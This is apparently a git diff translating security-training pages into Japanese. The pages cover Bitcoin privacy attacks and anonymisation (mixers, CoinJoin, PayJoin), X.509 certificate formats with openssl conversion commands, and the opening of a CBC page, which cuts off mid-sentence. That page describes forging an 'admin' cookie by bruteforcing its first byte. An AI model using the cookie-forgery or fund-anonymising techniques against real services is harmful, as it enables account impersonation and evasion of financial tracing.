(PoW)**は、取引の検証に計算能力を依存します。 +- **プルーフ・オブ・ステーク (PoS)**は、バリデーターが一定量のトークンを保持することを要求し、PoWに比べてエネルギー消費を削減します。 -## Bitcoin Essentials +## ビットコインの基本 -### Transactions +### 取引 -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +ビットコインの取引は、アドレス間で資金を移動させることを含みます。取引はデジタル署名を通じて検証され、プライベートキーの所有者のみが転送を開始できることを保証します。 -#### Key Components: +#### 主要コンポーネント: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **マルチシグネチャ取引**は、取引を承認するために複数の署名を必要とします。 +- 取引は**入力**(資金の出所)、**出力**(目的地)、**手数料**(マイナーに支払われる)、および**スクリプト**(取引ルール)で構成されます。 -### Lightning Network +### ライトニングネットワーク -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +ビットコインのスケーラビリティを向上させることを目的としており、チャネル内で複数の取引を可能にし、最終的な状態のみをブロックチェーンにブロードキャストします。 -## Bitcoin Privacy Concerns +## ビットコインのプライバシーの懸念 -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +プライバシー攻撃、例えば**共通入力所有権**や**UTXO変更アドレス検出**は、取引パターンを悪用します。**ミキサー**や**CoinJoin**のような戦略は、ユーザー間の取引リンクを隠すことで匿名性を向上させます。 -## Acquiring Bitcoins Anonymously +## ビットコインを匿名で取得する方法 -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +方法には現金取引、マイニング、ミキサーの使用が含まれます。**CoinJoin**は複数の取引を混ぜて追跡を複雑にし、**PayJoin**はCoinJoinを通常の取引として偽装してプライバシーを高めます。 -# Bitcoin Privacy Atacks +# ビットコインのプライバシー攻撃 -# Summary of Bitcoin Privacy Attacks +# ビットコインのプライバシー攻撃の概要 -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +ビットコインの世界では、取引のプライバシーとユーザーの匿名性はしばしば懸念の対象です。攻撃者がビットコインのプライバシーを侵害するいくつかの一般的な方法の簡略化された概要を以下に示します。 -## **Common Input Ownership Assumption** +## **共通入力所有権の仮定** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +異なるユーザーの入力が単一の取引に結合されることは一般的に稀であり、複雑さが関与します。したがって、**同じ取引内の2つの入力アドレスは、しばしば同じ所有者に属すると仮定されます**。 -## **UTXO Change Address Detection** +## **UTXO変更アドレス検出** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +UTXO、または**未使用取引出力**は、取引で完全に消費されなければなりません。もしその一部だけが別のアドレスに送信されると、残りは新しい変更アドレスに送られます。観察者はこの新しいアドレスが送信者に属すると仮定し、プライバシーが侵害されます。 -### Example +### 例 -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +これを軽減するために、ミキシングサービスや複数のアドレスを使用することで所有権を隠すのに役立ちます。 -## **Social Networks & Forums Exposure** +## **ソーシャルネットワークとフォーラムの露出** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +ユーザーは時々自分のビットコインアドレスをオンラインで共有し、**アドレスを所有者にリンクさせるのが容易になります**。 -## **Transaction Graph Analysis** +## **取引グラフ分析** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +取引はグラフとして視覚化でき、資金の流れに基づいてユーザー間の潜在的な接続を明らかにします。 -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **不必要な入力ヒューリスティック(最適変更ヒューリスティック)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +このヒューリスティックは、複数の入力と出力を持つ取引を分析して、どの出力が送信者に戻る変更であるかを推測することに基づいています。 +### 例 ```bash 2 btc --> 4 btc 3 btc 1 btc ``` - If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. -## **Forced Address Reuse** +## **強制アドレス再利用** -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +攻撃者は以前に使用されたアドレスに少額を送信し、受取人が将来の取引でこれらを他の入力と組み合わせることを期待して、アドレスをリンクさせることを狙います。 -### Correct Wallet Behavior +### 正しいウォレットの動作 -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +ウォレットは、プライバシーの漏洩を防ぐために、すでに使用された空のアドレスで受け取ったコインを使用することを避けるべきです。 -## **Other Blockchain Analysis Techniques** +## **その他のブロックチェーン分析技術** -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +- **正確な支払い額:** お釣りのない取引は、同じユーザーが所有する2つのアドレス間のものである可能性が高いです。 +- **丸い数字:** 取引における丸い数字は、支払いであることを示唆し、非丸い出力はお釣りである可能性が高いです。 +- **ウォレットフィンガープリンティング:** 異なるウォレットは独自の取引生成パターンを持ち、分析者が使用されたソフトウェアやお釣りのアドレスを特定できるようにします。 +- **金額とタイミングの相関:** 取引の時間や金額を開示することは、取引を追跡可能にする可能性があります。 -## **Traffic Analysis** +## **トラフィック分析** -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +ネットワークトラフィックを監視することで、攻撃者は取引やブロックをIPアドレスにリンクさせる可能性があり、ユーザーのプライバシーが侵害されることがあります。これは、あるエンティティが多くのBitcoinノードを運営している場合に特に当てはまり、取引を監視する能力が向上します。 -## More +## もっと -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +プライバシー攻撃と防御の包括的なリストについては、[Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)を訪れてください。 -# Anonymous Bitcoin Transactions +# 匿名のBitcoin取引 -## Ways to Get Bitcoins Anonymously +## 匿名でBitcoinを取得する方法 -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +- **現金取引**: 現金でビットコインを取得すること。 +- **現金の代替**: ギフトカードを購入し、それをオンラインでビットコインと交換すること。 +- **マイニング**: ビットコインを得る最もプライベートな方法はマイニングであり、特に一人で行う場合は、マイニングプールがマイナーのIPアドレスを知っている可能性があるためです。[マイニングプール情報](https://en.bitcoin.it/wiki/Pooled_mining) +- **盗難**: 理論的には、ビットコインを盗むことも匿名で取得する方法の一つですが、これは違法であり推奨されません。 -## Mixing Services +## ミキシングサービス -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +ミキシングサービスを使用することで、ユーザーは**ビットコインを送信**し、**異なるビットコインを受け取る**ことができ、元の所有者を追跡することが難しくなります。しかし、これはサービスがログを保持せず、実際にビットコインを返すことを信頼する必要があります。代替のミキシングオプションにはBitcoinカジノが含まれます。 ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin**は、異なるユーザーからの複数の取引を1つに統合し、入力と出力を一致させようとする人にとってプロセスを複雑にします。その効果にもかかわらず、ユニークな入力と出力のサイズを持つ取引は、依然として追跡される可能性があります。 -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +CoinJoinを使用した可能性のある取引の例には`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`が含まれます。 -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +詳細については、[CoinJoin](https://coinjoin.io/en)を訪れてください。Ethereumの同様のサービスについては、マイナーからの資金で取引を匿名化する[Tornado Cash](https://tornado.cash)をチェックしてください。 ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +CoinJoinのバリアントである**PayJoin**(またはP2EP)は、2つの当事者(例:顧客と商人)間の取引を通常の取引として偽装し、CoinJoinの特徴的な等しい出力を持たないため、非常に検出が難しくなります。これにより、取引監視機関が使用する一般的な入力所有権のヒューリスティックが無効になる可能性があります。 ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +上記のようなトランザクションはPayJoinの可能性があり、標準的なビットコイントランザクションと区別がつかないままプライバシーを向上させます。 -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**PayJoinの利用は、従来の監視手法を大きく妨げる可能性があります**。これは、トランザクションプライバシーの追求において有望な発展です。 -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# 暗号通貨におけるプライバシーのベストプラクティス -# Best Practices for Privacy in Cryptocurrencies +## **ウォレット同期技術** -## **Wallet Synchronization Techniques** +プライバシーとセキュリティを維持するためには、ウォレットをブロックチェーンと同期させることが重要です。特に目立つ2つの方法があります: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **フルノード**:ブロックチェーン全体をダウンロードすることで、フルノードは最大限のプライバシーを確保します。過去に行われたすべてのトランザクションがローカルに保存され、敵対者がユーザーの関心のあるトランザクションやアドレスを特定することは不可能です。 +- **クライアントサイドブロックフィルタリング**:この方法は、ブロックチェーン内の各ブロックにフィルターを作成し、ウォレットが特定の関心をネットワークの観察者にさらすことなく関連するトランザクションを特定できるようにします。軽量ウォレットはこれらのフィルターをダウンロードし、ユーザーのアドレスと一致する場合にのみフルブロックを取得します。 -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **匿名性のためのTorの利用** -## **Utilizing Tor for Anonymity** +ビットコインがピアツーピアネットワークで動作するため、IPアドレスを隠すためにTorを使用することが推奨され、ネットワークとのやり取り時にプライバシーが向上します。 -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **アドレスの再利用防止** -## **Preventing Address Reuse** +プライバシーを守るためには、各トランザクションに新しいアドレスを使用することが重要です。アドレスを再利用すると、トランザクションが同じ主体にリンクされることでプライバシーが損なわれる可能性があります。現代のウォレットはその設計によりアドレスの再利用を避けるようにしています。 -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **トランザクションプライバシーの戦略** -## **Strategies for Transaction Privacy** +- **複数のトランザクション**:支払いをいくつかのトランザクションに分割することで、トランザクションの金額を不明瞭にし、プライバシー攻撃を防ぎます。 +- **お釣りの回避**:お釣りの出力が不要なトランザクションを選択することで、プライバシーを向上させ、お釣り検出手法を混乱させます。 +- **複数のお釣り出力**:お釣りを避けることができない場合でも、複数のお釣り出力を生成することでプライバシーを改善できます。 -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **モネロ:匿名性の灯台** -# **Monero: A Beacon of Anonymity** +モネロはデジタルトランザクションにおける絶対的な匿名性の必要性に応え、高いプライバシー基準を設定しています。 -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **イーサリアム:ガスとトランザクション** -# **Ethereum: Gas and Transactions** +## **ガスの理解** -## **Understanding Gas** +ガスは、イーサリアム上での操作を実行するために必要な計算努力を測定し、**gwei**で価格が設定されています。たとえば、2,310,000 gwei(または0.00231 ETH)のコストがかかるトランザクションは、ガス制限と基本料金があり、マイナーへのインセンティブとしてチップが含まれます。ユーザーは過剰支払いを避けるために最大料金を設定でき、余分な料金は返金されます。 -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **トランザクションの実行** -## **Executing Transactions** +イーサリアムのトランザクションには送信者と受信者が含まれ、受信者はユーザーまたはスマートコントラクトのアドレスである可能性があります。トランザクションには料金が必要で、マイニングされなければなりません。トランザクションにおける重要な情報には、受信者、送信者の署名、価値、オプションのデータ、ガス制限、料金が含まれます。特に、送信者のアドレスは署名から推測されるため、トランザクションデータに含める必要はありません。 -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +これらのプラクティスとメカニズムは、プライバシーとセキュリティを優先しながら暗号通貨に関与しようとする人々にとって基礎的なものです。 -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## 参考文献 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md index d0c4ad006..237656173 100644 --- a/src/crypto-and-stego/certificates.md +++ b/src/crypto-and-stego/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# 証明書 {{#include ../banners/hacktricks-training.md}} -
+## 証明書とは -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +**公開鍵証明書**は、暗号学で誰かが公開鍵を所有していることを証明するために使用されるデジタルIDです。これには鍵の詳細、所有者の身元(主題)、および信頼できる機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} +証明書は主に[証明書機関](https://en.wikipedia.org/wiki/Certificate_authority)(CA)によって[公開鍵基盤](https://en.wikipedia.org/wiki/Public-key_infrastructure)(PKI)セットアップで発行されます。別の方法は[信頼のウェブ](https://en.wikipedia.org/wiki/Web_of_trust)で、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)で、RFC 5280に記載されている特定のニーズに合わせて適応できます。 -## What is a Certificate +## x509の一般的なフィールド -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **x509証明書の一般的なフィールド** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +x509証明書には、証明書の有効性とセキュリティを確保するために重要な役割を果たすいくつかの**フィールド**があります。これらのフィールドの内訳は以下の通りです: -## x509 Common Fields +- **バージョン番号**はx509形式のバージョンを示します。 +- **シリアル番号**は、証明書機関(CA)のシステム内で証明書を一意に識別し、主に取り消し追跡のために使用されます。 +- **主題**フィールドは証明書の所有者を表し、機械、個人、または組織である可能性があります。詳細な識別情報が含まれます: +- **共通名(CN)**:証明書でカバーされるドメイン。 +- **国(C)**、**地域(L)**、**州または省(ST、S、またはP)**、**組織(O)**、および**組織単位(OU)**は地理的および組織的な詳細を提供します。 +- **識別名(DN)**は完全な主題識別をカプセル化します。 +- **発行者**は証明書を検証し署名した人物を示し、CAのための主題と同様のサブフィールドを含みます。 +- **有効期間**は**Not Before**および**Not After**のタイムスタンプで示され、証明書が特定の日付の前または後に使用されないことを保証します。 +- **公開鍵**セクションは、証明書のセキュリティにとって重要で、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。 +- **x509v3拡張**は証明書の機能を強化し、**鍵の使用**、**拡張鍵の使用**、**主題代替名**、および証明書の適用を微調整するためのその他のプロパティを指定します。 -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **鍵の使用と拡張** +- **鍵の使用**は、公開鍵の暗号化アプリケーションを特定します。例えば、デジタル署名や鍵の暗号化などです。 +- **拡張鍵の使用**は、証明書の使用ケースをさらに絞り込みます。例えば、TLSサーバー認証のためです。 +- **主題代替名**および**基本制約**は、証明書でカバーされる追加のホスト名と、それがCAまたはエンドエンティティ証明書であるかどうかを定義します。 +- **主題鍵識別子**や**権限鍵識別子**のような識別子は、鍵の一意性と追跡可能性を保証します。 +- **権限情報アクセス**および**CRL配布ポイント**は、発行CAを検証し、証明書の取り消し状況を確認するためのパスを提供します。 +- **CTプレ証明書SCT**は、証明書に対する公的信頼にとって重要な透明性ログを提供します。 ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,160 +54,123 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSPとCRL配布ポイントの違い** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) は、クライアントとレスポンダーが協力してデジタル公開鍵証明書が取り消されたかどうかを確認する方法で、完全な**CRL**をダウンロードする必要がありません。この方法は、取り消された証明書のシリアル番号のリストを提供する従来の**CRL**よりも効率的であり、潜在的に大きなファイルをダウンロードする必要があります。CRLには最大512エントリが含まれることがあります。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)で確認できます。 -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **証明書の透明性とは** -### **What is Certificate Transparency** +証明書の透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに見えるようにすることで、証明書関連の脅威と戦うのに役立ちます。その目的は次のとおりです: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- ドメイン所有者の知らないうちにCAがドメインのSSL証明書を発行するのを防ぐこと。 +- 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。 +- ユーザーを詐欺的な証明書から保護すること。 -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **証明書ログ** -#### **Certificate Logs** +証明書ログは、ネットワークサービスによって維持される公開監査可能な追加専用の証明書記録です。これらのログは監査目的のための暗号的証明を提供します。発行機関と一般の人々は、これらのログに証明書を提出したり、検証のために照会したりできます。ログサーバーの正確な数は固定されていませんが、世界中で千未満であると予想されています。これらのサーバーは、CA、ISP、または関心のある任意の団体によって独立して管理されることがあります。 -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **クエリ** -#### **Query** +任意のドメインの証明書透明性ログを探索するには、[https://crt.sh/](https://crt.sh)を訪問してください。 -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +証明書を保存するためのさまざまな形式が存在し、それぞれに独自の使用ケースと互換性があります。この要約では、主要な形式をカバーし、それらの間の変換に関するガイダンスを提供します。 -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **形式** -## **Formats** +### **PEM形式** -### **PEM Format** +- 証明書の最も広く使用されている形式。 +- 証明書と秘密鍵のために別々のファイルが必要で、Base64 ASCIIでエンコードされています。 +- 一般的な拡張子:.cer、.crt、.pem、.key。 +- 主にApacheや同様のサーバーで使用されます。 -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER形式** -### **DER Format** +- 証明書のバイナリ形式。 +- PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントがありません。 +- 一般的な拡張子:.cer、.der。 +- Javaプラットフォームでよく使用されます。 -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7形式** -### **P7B/PKCS#7 Format** +- Base64 ASCIIで保存され、拡張子は.p7bまたは.p7c。 +- 秘密鍵を除く証明書とチェーン証明書のみを含みます。 +- Microsoft WindowsおよびJava Tomcatでサポートされています。 -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12形式** -### **PFX/P12/PKCS#12 Format** +- サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリ形式。 +- 拡張子:.pfx、.p12。 +- 主にWindowsで証明書のインポートとエクスポートに使用されます。 -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **形式の変換** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM変換**は互換性のために重要です: +- **x509からPEMへ** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEMからDER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DERからPEMへ** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM から P7B へ** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7をPEMに** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX 変換**は、Windows上での証明書管理において重要です: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX から PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX to PKCS#8** は2つのステップを含みます: +1. PFXをPEMに変換する ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. PEMをPKCS8に変換する ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B to PFX** には2つのコマンドも必要です: +1. P7BをCERに変換します ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. CERとプライベートキーをPFXに変換する ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - -- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure): - 1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/) - +- **ASN.1 (DER/PEM) 編集** (証明書やほぼすべての他のASN.1構造で動作します): +1. [asn1template](https://github.com/wllm-rbnt/asn1template/)をクローンします。 ```bash git clone https://github.com/wllm-rbnt/asn1template.git ``` - -2. Convert DER/PEM to OpenSSL's generation format - +2. DER/PEMをOpenSSLの生成フォーマットに変換する ```bash asn1template/asn1template.pl certificatename.der > certificatename.tpl asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl ``` - -3. Edit certificatename.tpl according to your requirements - +3. 要件に応じて certificatename.tpl を編集します。 ```bash vim certificatename.tpl ``` - -4. Rebuild the modified certificate - +4. 修正された証明書を再構築する ```bash openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem ``` - --- -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..c892097ad 100644 --- a/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md +++ b/src/crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +もし**クッキー**が**ユーザー名**だけで(またはクッキーの最初の部分がユーザー名で)、「**admin**」というユーザー名を偽装したい場合、**"bdmin"**というユーザー名を作成し、**最初のバイト**を**ブルートフォース**することができます。 # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**暗号ブロック連鎖メッセージ認証コード**(**CBC-MAC**)は、暗号学で使用される方法です。これは、メッセージをブロックごとに暗号化し、各ブロックの暗号化が前のブロックにリンクされることで機能します。このプロセスは**ブロックの連鎖**を作成し、元のメッセージのビットを1つ変更するだけでも、暗号化されたデータの最後のブロックに予測不可能な変化をもたらすことを保証します。このような変更を行うまたは逆にするためには、暗号化キーが必要であり、セキュリティが確保されます。 -To calculate the CBC-MAC of message m, one encrypts m 